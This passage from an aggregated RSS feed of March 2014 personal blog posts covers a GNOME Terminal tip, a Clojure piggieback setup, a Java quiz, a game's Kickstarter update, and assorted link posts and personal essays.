The problem is that the new tab that I've created will have a &lt;em&gt;$PWD&lt;/em&gt; of &lt;code&gt;~&lt;/code&gt;, instead of keeping the &lt;em&gt;$PWD&lt;/em&gt; of &lt;code&gt;~/code/some_cool_hack/&lt;/code&gt;, which is the project I'm working on!
&lt;p&gt;The solution is to add:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 20 Mar 2014 20:01:24 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/03/20/preserving-your-working-directory-in-gnome-terminal/</guid></item><item><title>Greenlight update + streaming tomorrow</title><link>https://etodd.io/2014/03/20/greenlight-update-streaming-tomorrow/</link><description>&lt;p&gt;Hello!&lt;/p&gt;
&lt;p&gt;&lt;b&gt;First:&lt;/b&gt; I wanted to thank everyone for the amazing support you've shown so far. We're already over &lt;a href="https://www.kickstarter.com/projects/et1337/lemma-first-person-parkour"&gt;24% funded&lt;/a&gt;, which is more than I was expecting this early, so thank you!&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Second:&lt;/b&gt; A quick update on the &lt;a href="http://steamcommunity.com/sharedfiles/filedetails/?id=239551444" target="_blank"&gt;Greenlight campaign&lt;/a&gt;. We are 26% of the way to the top 100, with 1,918 "yes" votes! Keep on voting, we'll be on Steam in no time.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Third:&lt;/b&gt; If you wanted to see more gameplay from Lemma but didn't have time to check out the demo, several YouTubers have posted "let's play" videos of the demo. Draegast has &lt;a href="https://www.youtube.com/watch?v=yAcIkPEVghY" target="_blank"&gt;a good one right here&lt;/a&gt;.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Thu, 20 Mar 2014 18:47:13 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/03/20/greenlight-update-streaming-tomorrow/</guid></item><item><title>Disingenuous Marketing</title><link>https://zacs.site/blog/disingenuous.html</link><description>&lt;p&gt;Besides the cursory test shortly after iTunes Radio launched, yesterday marked the first time I had used the service for any extended period of time. In my past experiences, the recommendations had proved mediocre at best, and the process not compelling enough to prompt me to switch away from the songs I already knew and loved. Yesterday, though, I gave it another shot; and I &lt;em&gt;loved&lt;/em&gt; it.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/disingenuous.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 20 Mar 2014 17:12:13 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/disingenuous.html</guid></item><item><title>How to use piggieback in vim-fireplace to hack cljs</title><link>https://honza.pokorny.ca/2014/03/how-to-use-piggieback-in-vim-fireplace-to-hack-cljs/</link><description>&lt;p&gt;(That&amp;rsquo;s quite a title, isn&amp;rsquo;t it?)&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re using vim to write Clojure code, chances are that you&amp;rsquo;re using Tim
Pope&amp;rsquo;s vim-fireplace plugin.  It&amp;rsquo;s really great.  It stars an nREPL session in
the background for you and lets you evaluate a form inside of vim.  It&amp;rsquo;s super
fast because it keeps the session around and it&amp;rsquo;s one of my favorite things
about writing Clojure.&lt;/p&gt;
&lt;p&gt;Recently, vim-fireplace received support for &lt;a href="https://github.com/cemerick/piggieback"&gt;piggieback&lt;/a&gt;.  Piggieback is a
layer on top of nREPL that gives you support for ClojureScript.  This is really
great because it gives you the ability to evaluate ClojureScript code in vim
just like your normal Clojure code.&lt;/p&gt;
&lt;p&gt;Alright, here is how to set it up:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;project.clj&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-clojure"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #eceff4;"&gt;(&lt;/span&gt;&lt;span style="color: #81a1c1; font-weight: bold;"&gt;defproject &lt;/span&gt;pig &lt;span style="color: #a3be8c;"&gt;"0.1.0-SNAPSHOT"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #a3be8c;"&gt;:description&lt;/span&gt; &lt;span style="color: #a3be8c;"&gt;"FIXME: write this!"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #a3be8c;"&gt;:url&lt;/span&gt; &lt;span style="color: #a3be8c;"&gt;"http://example.com/FIXME"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #a3be8c;"&gt;:dependencies&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;[[&lt;/span&gt;org.clojure/clojure &lt;span style="color: #a3be8c;"&gt;"1.5.1"&lt;/span&gt;&lt;span style="color: #eceff4;"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                 &lt;span style="color: #eceff4;"&gt;[&lt;/span&gt;com.cemerick/piggieback &lt;span style="color: #a3be8c;"&gt;"0.1.3"&lt;/span&gt;&lt;span style="color: #eceff4;"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #a3be8c;"&gt;:plugins&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;[[&lt;/span&gt;lein-cljsbuild &lt;span style="color: #a3be8c;"&gt;"1.0.2"&lt;/span&gt;&lt;span style="color: #eceff4;"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #a3be8c;"&gt;:repl-options&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;{&lt;/span&gt;&lt;span style="color: #a3be8c;"&gt;:nrepl-middleware&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;[&lt;/span&gt;cemerick.piggieback/wrap-cljs-repl&lt;span style="color: #eceff4;"&gt;]}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #a3be8c;"&gt;:source-paths&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;[&lt;/span&gt;&lt;span style="color: #a3be8c;"&gt;"src"&lt;/span&gt;&lt;span style="color: #eceff4;"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #a3be8c;"&gt;:cljsbuild&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #a3be8c;"&gt;:builds&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;[{&lt;/span&gt;&lt;span style="color: #a3be8c;"&gt;:source-paths&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;[&lt;/span&gt;&lt;span style="color: #a3be8c;"&gt;"src"&lt;/span&gt;&lt;span style="color: #eceff4;"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #a3be8c;"&gt;:compiler&lt;/span&gt; &lt;span style="color: #eceff4;"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                &lt;span style="color: #a3be8c;"&gt;:target&lt;/span&gt; &lt;span style="color: #a3be8c;"&gt;:nodejs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                &lt;span style="color: #a3be8c;"&gt;:optimizations&lt;/span&gt; &lt;span style="color: #a3be8c;"&gt;:simple&lt;/span&gt;&lt;span style="color: #eceff4;"&gt;}}]})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pretty standard stuff.  We&amp;rsquo;re using the lein-cljsbuild plugin for automatic
compilation, we set up the source path and a nodejs compile target.&lt;/p&gt;
&lt;p&gt;Now you simply open a &lt;code&gt;.cljs&lt;/code&gt; file and you can do your usual vim-fireplace
magic.  The first &lt;code&gt;cpr&lt;/code&gt; (reload current buffer) command will connect to an
nREPL instance and initialize the piggieback wrapper.&lt;/p&gt;</description><author>Honza Pokorný</author><pubDate>Thu, 20 Mar 2014 16:45:00 GMT</pubDate><guid isPermaLink="true">https://honza.pokorny.ca/2014/03/how-to-use-piggieback-in-vim-fireplace-to-hack-cljs/</guid></item><item><title>Java quiz: Object Orientation</title><link>https://studiofreya.org/java/java-quiz-object-orientation/</link><description>&lt;p&gt;&lt;strong&gt;1. What is encapsulation:&lt;/strong&gt;&lt;br /&gt;
a) the ability to make changes in your implementation without breaking the code of others&lt;br /&gt;
b) keep instance variables accessible foe everyone&lt;br /&gt;
c) create getters and setters rather then give direct access to instance variables&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. IS-A relationship:&lt;/strong&gt;&lt;br /&gt;
a) based on class inheritance or interface implementation&lt;br /&gt;
b) expresses through the keywords import and extends&lt;br /&gt;
c) expresses through the keywords extends and implements&lt;br /&gt;
d) if Car extends Vehicle it means that Car IS-A Vehicle&lt;br /&gt;
e) if(Foo instanceof Bar) is true that Foo IS-A Bar&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Thu, 20 Mar 2014 16:35:06 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/java/java-quiz-object-orientation/</guid></item><item><title>A Year on the Road</title><link>http://huckberry.com/blog/posts/a-year-on-the-road</link><description>&lt;p&gt;Shortly after returning from six months spent circling the globe, Jonny and Michelle set back out on the road and spent a year traveling across America. Again, I&amp;#8217;m jealous: although I have lived in and traveled through quite a few states, my travels have thus far consisted of mostly the eastern seaboard, and nothing more westward than Wisconsin. Someday, I would love to take a similar journey.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/a-year-on-the-road"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 20 Mar 2014 13:16:58 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/a-year-on-the-road</guid></item><item><title>Nothing Short Of Incredible</title><link>http://huckberry.com/blog/posts/nothing-short-of-incredible</link><description>&lt;p&gt;Not to be redundant, but Jonny and Michelle dropped everything to spend six months traveling the world, and that really is incredible. I have already done a great deal of traveling in my life&amp;#160;&amp;#8212;&amp;#160;I have lived in five states and visited more than I can remember, and spent a great deal of time abroad in seven countries spread across two continents&amp;#160;&amp;#8212;&amp;#160;and I wholeheartedly agree with their comment that traveling does indeed beget more traveling: given the chance, I would love to go back and visit any of the places I have been to in the past, and that&amp;#8217;s to say nothing for all the places I want to go in the future. I don&amp;#8217;t understand the people who have never left their hometown, let alone the state they were born in. The world is a vast and incredibly diverse place; go out and see some of it.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/nothing-short-of-incredible"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 20 Mar 2014 11:08:46 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/nothing-short-of-incredible</guid></item><item><title>When Water Flows Uphill</title><link>http://youtu.be/zzKgnNGqxMw</link><description>&lt;p&gt;Awesome video showing how, when heated to certain temperatures, water can actually flow uphill. It seems impossible, but&amp;#160;&amp;#8212;&amp;#160;as the folks over at Science Friday demonstrate&amp;#160;&amp;#8212;&amp;#160;some neat factors come into play after the boiling point to make it possible. Very cool, via &lt;a href="http://www.loopinsight.com/2014/03/17/how-to-make-water-flow-uphill/"&gt;The Loop&lt;/a&gt;.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://youtu.be/zzKgnNGqxMw"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 20 Mar 2014 10:54:08 GMT</pubDate><guid isPermaLink="true">http://youtu.be/zzKgnNGqxMw</guid></item><item><title>Back in the Saddle</title><link>https://josh.works/jobs/growth/2014/03/20/back-in-the-saddle/</link><description>&lt;p&gt;There’s a point in time when after spending a few weeks or months working on one project/goal, your ability to switch tasks to another project diminishes.&lt;/p&gt;

&lt;p&gt;There’s plenty of evidence that humans can’t multi-task, and those who try just end up doing a lot of things poorly.&lt;/p&gt;

&lt;p&gt;On the flip side, if you’re working on a project, being familiar with it allows you to hold the whole thing in your head. If you put it down for two months, when you come back you have to refamiliarize yourself with the project.&lt;/p&gt;

&lt;p&gt;Over the last few months, I’ve been on a low-level job hunt. A job hunt (if your me) is mentally draining. Not exhausting, but it took enough of my energy that I put my active side projects on the back burner. Writing regularly being one of those side projects.&lt;/p&gt;

&lt;h3 id="big-news"&gt;Big News&lt;/h3&gt;

&lt;p&gt;This low-level job hunt has ended. I am happy to announce that I’m joining 
&lt;a href="https://litmus.com/"&gt;Litmus&lt;/a&gt; as a customer success advocate. This opportunity is really exciting because:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I get to work with really talented people&lt;/li&gt;
  &lt;li&gt;The specifics of my role is 
exactly how I’ve been developing my skills at my last job with 
&lt;a href="http://razoo.com"&gt;Razoo&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;This allows me to refocus energy on doing really good work (at Litmus) and building out my side projects.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This new role allows a number of key pieces to fall into place in other areas of my life.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 20 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/jobs/growth/2014/03/20/back-in-the-saddle/</guid></item><item><title>Phoenix: An Article Recommendation Engine</title><link>https://faingezicht.com/projects/2014/03/20/phoenix/</link><description>In today's information age, we are all constantly barraged with content, from short tweets, to Buzzfeed-style listicles, longform journalism and other time consuming material. The rapid increase of the rate at which this content is generated makes it impossible for anyone to actually consume all the content published, and we as users must rely on recommendations to select how to spend our time when reading online. Through our work, we tried to predict whether a user would like an online article based on previous reading behavior. Specifically, we wanted to predict whether a user would mark an article as a favorite or not.

You can check out our project &lt;a href="http://leonsasson.me/phoenix/about.html"&gt;here&lt;/a&gt;.</description><author>Avy Faingezicht</author><pubDate>Thu, 20 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/projects/2014/03/20/phoenix/</guid></item><item><title>Reeling Me In</title><link>http://www.thenewsprint.co/blog/reeling-me-in</link><description>&lt;p&gt;Excellent news, and definitely a step in the right direction. I went through the opposite process a few weeks ago in creating my now-defunct newsletter, but thankfully realized the error of my ways shortly thereafter, discontinued it, and refocused my efforts on this site. Diversifying your public outlets in an attempt at creating multiple more focused properties seems like a good idea in theory, but invariably falls down in practice.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.thenewsprint.co/blog/reeling-me-in"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 19 Mar 2014 19:00:20 GMT</pubDate><guid isPermaLink="true">http://www.thenewsprint.co/blog/reeling-me-in</guid></item><item><title>Superman with a GoPro</title><link>http://www.loopinsight.com/2014/03/17/superman-with-a-gopro/</link><description>&lt;p&gt;I didn&amp;#8217;t watch this the first time I saw the link go by, but after the second time I&amp;#8217;m glad I set aside a few minutes to check it out: this video really is the coolest thing I will watch all day.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.loopinsight.com/2014/03/17/superman-with-a-gopro/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 19 Mar 2014 10:42:32 GMT</pubDate><guid isPermaLink="true">http://www.loopinsight.com/2014/03/17/superman-with-a-gopro/</guid></item><item><title>The Changing Landscape of Innovation</title><link>https://zacs.site/blog/the-changing-landscape-of-innovation.html</link><description>&lt;p&gt;As I prepared to leave for my trip to The Bahamas last week, I saw an article from &lt;a href="http://gizmodo.com/this-futuristic-truck-was-actually-designed-by-walmart-1535929971"&gt;Gizmodo&lt;/a&gt; go by linking to &lt;a href="http://blog.walmart.com/notes-from-the-milestone-meeting"&gt;a blog post from Walmart&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;of all companies&amp;#160;&amp;#8212;&amp;#160;showcasing a new concept vehicle that would make a number of significant improvements to current semi designs. I read through the article, and then sat down to write a short post about it; however, I quickly realized that I had much more to say on this topic than could be contained within the single paragraph of a link post, so I jotted down a quick draft and then left the work of creating a finished article until I got back from a day on and off airplanes flying across the U.S.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-changing-landscape-of-innovation.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 19 Mar 2014 10:11:11 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-changing-landscape-of-innovation.html</guid></item><item><title>Hundred percent awake</title><link>http://dimitarsimeonov.com/2014/03/19/hundred-percent-awake</link><description>&lt;p&gt;Every morning right when I get out of my bed I am 20% awake, I am 20% myself. There is not
much in my thoughts about the people I love, about my job, about my goals as a
person. All my thoughts are about the very basic needs - drink water,
clean myself, read some stuff.&lt;/p&gt;

&lt;p&gt;Next, I grab a phone, a tablet or a laptop and read random stuff for a few minutes - email, comics, social networks, news websites. I get around 40% awake. I slowly start remembering where I am and what entertains me. 
Next, I take a shower. 60% awake.  I start feeling fresh and clean. 
Next, I sit down for a few minutes without moving, and just thinking about whatever my mind decides to think. 80% awake. I remember the things that were on my mind
the day before and decide which of them are most important.
Next I get some caffeine - either tea or coffee. 100% awake. It helps me
focus on whatever is in front of me and execute with speed, precision and
foresight.&lt;/p&gt;

&lt;p&gt;On good mornings I also try to eat breakfast, exercise, stretch. All of these
steps help me have a good day. But it is OK if I skip a step. I’m still
operational, I can react to all the stuff happening around me, I can write code,
I can participate in conversations with other people.&lt;/p&gt;

&lt;p&gt;But I feel there is a little piece missing. For example, if I don’t get close to
eight hours of sleep I get tired easier during the day. If I don’t read through
all my news sources I have the urge to pop in Hacker News or r/asoiaf during the
day, and I end up wasting way more time on it later on. Until I shower I feel as if I’m
still lying in bed. If I don’t give myself a few minutes to sit down and clear my mind I have
all these half-started thoughts in the back of the head that keep popping up and
try to distract me from whatever I’m doing. Without caffeine I’m slower.&lt;/p&gt;

&lt;p&gt;If I compare my mind to a smartphone, sleeping would be similar to plugging the
charger, checking news would be similar to updating all the apps, showering to
running a system check and verifying that all the different parts still work,
meditating to organizing the apps. Drinking caffeine would mean to connect to
17G, and use the full capabilities of the processor, memory, motion tracking,
music and camera.&lt;/p&gt;

&lt;p&gt;Happily, I’m not a smartphone, I’m more complex. Smartphones don’t have long term
goals and they don’t feel emotions. They don’t have much of an identity. What
they are is shaped by their owner. As a human I have various needs, desires,
obligations and skills. I make choices.&lt;/p&gt;

&lt;p&gt;And when I feel 100% awake, it is easier make better choices and execute on them, 
both regarding my identity, and my obligations to others. It is easier to connect to other 
people, to spot injustice, to be grateful.&lt;/p&gt;

&lt;p&gt;Conversely, the more asleep I am the easier it is for my actions to be influenced by my
basic physical needs, by media manipulation, by physical limitations, by
distractions and by mental limitations. I’m more of a zombie controlled by
external factors, and less of an autonomous human.&lt;/p&gt;

&lt;p&gt;The more awake, the more alive I feel. I’d rather be awake now [1].&lt;/p&gt;

&lt;p&gt;[1] Avicii - Wake me up: &lt;a href="http://youtu.be/5y_KJAg8bHI"&gt;http://youtu.be/5y_KJAg8bHI&lt;/a&gt;&lt;/p&gt;</description><author>D13V</author><pubDate>Wed, 19 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/03/19/hundred-percent-awake</guid></item><item><title>Be With Your Thoughts More Often</title><link>https://martinrue.com/be-with-your-thoughts-more-often/</link><description>Whilst walking to work this morning, I noticed myself doing something that I wouldn't normally give a second thought to. I took out my phone and checked Twitter.</description><author>Martin Rue</author><pubDate>Wed, 19 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://martinrue.com/be-with-your-thoughts-more-often/</guid></item><item><title>1000 years of European borders</title><link>http://vimeo.com/89400365</link><description>&lt;p&gt;This is just so cool. If my history teacher had shown me this video on the first day of our history class covering ancient civilizations of the world, I would have had so much more interest in the subject than I otherwise did. This almost makes me want to go study history&amp;#160;&amp;#8212;&amp;#160;almost. &lt;a href="https://transferwise.com/blog/2014-03/watch-as-1000-years-of-european-borders-change-timelapse-map/"&gt;Via TransferWise Blog&lt;/a&gt;.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vimeo.com/89400365"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 18 Mar 2014 13:35:11 GMT</pubDate><guid isPermaLink="true">http://vimeo.com/89400365</guid></item><item><title>The Backseat Companion</title><link>http://thebackseatcompanion.tumblr.com/</link><description>&lt;p&gt;It&amp;#8217;s taken me way too long, but I finally got some time to read the backlog of email newsletters in my inbox. Alongside &lt;a href="https://secure.huckberry.com/users/sign_up"&gt;Huckberry&amp;#8217;s&lt;/a&gt; and &lt;a href="http://ben-evans.com/newsletter/"&gt;Benedict Evans&amp;#8217; Mobile Newsletter&lt;/a&gt;, today I read my first issue of The Backseat Companion&amp;#160;&amp;#8212;&amp;#160;and let me tell you, I loved it. The Backseat Companion is everything a newsletter should be: interesting, informative, humorous&amp;#160;&amp;#8212;&amp;#160;a joy to read, to be sure. If MailChimp isn&amp;#8217;t your thing, you can also read &lt;a href="https://medium.com/@backseatcomp"&gt;past issues on Medium&lt;/a&gt;. Regardless of where you go though, you&amp;#8217;ll have to head over to &lt;a href="http://thebackseatcompanion.tumblr.com/"&gt;Gianfranco Lanzio and Diego Petrucci&amp;#8217;s tumblr to subscribe&lt;/a&gt;. Do yourself a favor and just head over there now though: you&amp;#8217;ll be there soon enough anyways.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://thebackseatcompanion.tumblr.com/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 18 Mar 2014 13:17:27 GMT</pubDate><guid isPermaLink="true">http://thebackseatcompanion.tumblr.com/</guid></item><item><title>A Few Thoughts on Sponsorships</title><link>https://zacs.site/blog/a-few-thoughts-on-sponsorships.html</link><description>&lt;p&gt;Within the last week there has been a great deal of talk about sponsorships: &lt;a href="http://www.marco.org/2014/03/14/ending-sponsorships"&gt;Marco Arment ended sponsored blog posts&lt;/a&gt;, citing waning interest and falling click-through rates. &lt;a href="http://blog.samhutchings.co/2014/03/15/lets-talk-about-sponsorship/"&gt;Sam Hutchings chimed in on the debate regarding bias&lt;/a&gt; and how it could, theoretically, adversely affect credibility. Josh Ginter, &lt;a href="http://www.thenewsprint.co/blog/marco-ending-sponsorships-has-lasting-implications"&gt;writing in response to Marco&amp;#8217;s aforementioned post&lt;/a&gt;, posited that Marco&amp;#8217;s decision might not be an anomaly, but indicative of a disturbing trend in the blogging space. I don&amp;#8217;t see this topic elevating any further from here, so I might as well chime in now.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/a-few-thoughts-on-sponsorships.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 18 Mar 2014 13:02:15 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/a-few-thoughts-on-sponsorships.html</guid></item><item><title>Lemma: first-person parkour demo</title><link>https://etodd.io/2014/03/18/lemma-first-person-parkour-demo/</link><description>&lt;p&gt;&lt;div class="video"&gt;&lt;/div&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://et1337.itch.io/lemma"&gt;Download the demo for Windows&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.kickstarter.com/projects/et1337/869028656?token=1ccf4cd0"&gt;Back the Kickstarter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://steamcommunity.com/sharedfiles/filedetails/?id=239551444"&gt;Vote for Lemma on Greenlight&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://twitter.com/et1337"&gt;Follow me on Twitter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After an unexpected 24 hour delay, the demo is finally out, and the Kickstarter is live! I'm running on 3 hours of sleep, but here's some things you might not have seen since the last release:&lt;/p&gt;
&lt;p&gt;The bouncy cubes are now more like crumbly cubes. They crumble when you touch them.&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/WickedSereneAmazonparrot.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Tue, 18 Mar 2014 11:35:09 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/03/18/lemma-first-person-parkour-demo/</guid></item><item><title>Frozen</title><link>https://olshansky.info/movie/frozen/</link><description>Olshansky's review of Frozen</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 17 Mar 2014 16:15:27 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/frozen/</guid></item><item><title>WWSJD?</title><link>https://zacs.site/blog/wwsjd.html</link><description>&lt;p&gt;On my way to San Salvador last weekend I wrote a short article titled &amp;#8220;The Changing Landscape of Innovation&amp;#8221;. Without any internet connection until arriving back home the following Thursday, I planned on publishing it Friday morning; however, I didn&amp;#8217;t count on Drafts losing the note to a botched sync operation. In lieu of that article, then, as I try to work with Greg Pierce to recover it, consider this:&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/wwsjd.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 17 Mar 2014 10:16:01 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/wwsjd.html</guid></item><item><title>On BDD From Acceptance Tests to Story Level Specifications</title><link>https://james-carr.org/posts/on-bdd-from-acceptance-tests-to-story-level-specs/</link><description>Behavior Driven Development is best described as taking an “Outside-In” approach, meaning you define your feature from the outset and describe business value, and work your way in a small piece at a time. That being the case, I thought it’d be best to cover one stage of evolution that I’ve had over the years… from Developer Facing Acceptance Tests to Customer Facing Story Level Specifications.
The Start: Developer Facing Acceptance Tests These were the starting point… where I started 5 years ago.</description><author>James Carr</author><pubDate>Mon, 17 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://james-carr.org/posts/on-bdd-from-acceptance-tests-to-story-level-specs/</guid></item><item><title>Life</title><link>https://huphtur.nl/life/</link><description>&lt;blockquote&gt;
&lt;p&gt;Life is all about creating memories that you slowly keep forgetting.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>huphtur</author><pubDate>Mon, 17 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://huphtur.nl/life/</guid></item><item><title>Act a Fool, or: Motion vs. Action</title><link>https://josh.works/growth/2014/03/16/act-a-fool-or-motion-vs-action/</link><description>&lt;p&gt;If you’ve started reading this article, but have only two minutes, don’t read what I’m writing. Go read 
&lt;a href="http://jamesclear.com/taking-action"&gt;this article&lt;/a&gt; by James clear. It’s called “
&lt;a href="http://jamesclear.com/taking-action"&gt;The Mistake Smart People Make: Being In Motion vs. Taking Action&lt;/a&gt;”. I’ve linked it a third time 
&lt;a href="http://jamesclear.com/taking-action"&gt;here&lt;/a&gt;. Go read it.
James starts with a simple definition:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Motion&lt;/strong&gt;
 is when you’re busy doing something, but that task will never produce an outcome by itself. 
&lt;strong&gt;Action&lt;/strong&gt;
, on the other hand, is the type of behavior that will get you a result.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Motion, as defined, obviously won’t get you to your goals. It is, be definition, those things that you do that don’t produce.&lt;/p&gt;

&lt;p&gt;Action, as defined, gets you where you’re going. The difference between the two is that you don’t get criticized for motion. You can get a ton of criticism for action.&lt;/p&gt;

&lt;p&gt;We humans are a cautious bunch - we’re more likely to do small things that return small but predictable benefits. Those large things we may do can fail nine times out of ten, and that failure 
can be devastating.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Applied&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We all speak to each other, and the quality of our speech matters. When I think “public speaking”, I don’t imagine giving a speech to hundreds, I imagine how I carry myself in front of groups of people I don’t know well. Incidentally, this is most of the people I interact with.&lt;/p&gt;

&lt;p&gt;I wanted to get better at public speaking. So, I read a few articles and watched a few videos. This was all 
&lt;strong&gt;motion&lt;/strong&gt;
. I quickly realized this, and thought “the one thing I really don’t want to do is give a speech to strangers”. So… using that fear as an arrow towards the path of greatest growth, I gave a speech.&lt;/p&gt;

&lt;p&gt;[youtube=http://youtu.be/LXbIO3QSeAc]&lt;/p&gt;

&lt;p&gt;I read about two paragraphs from “
&lt;a href="http://www.artofmanliness.com/2009/07/11/manvotional-self-made-men-by-frederick-douglass/"&gt;The Self-Made Man&lt;/a&gt;”, a speech by Frederick Douglass and, if you watch the video, you can see that absolutely no one even noticed me. This was an extremely short way to get a little closer to fearlessness in these situations.&lt;/p&gt;

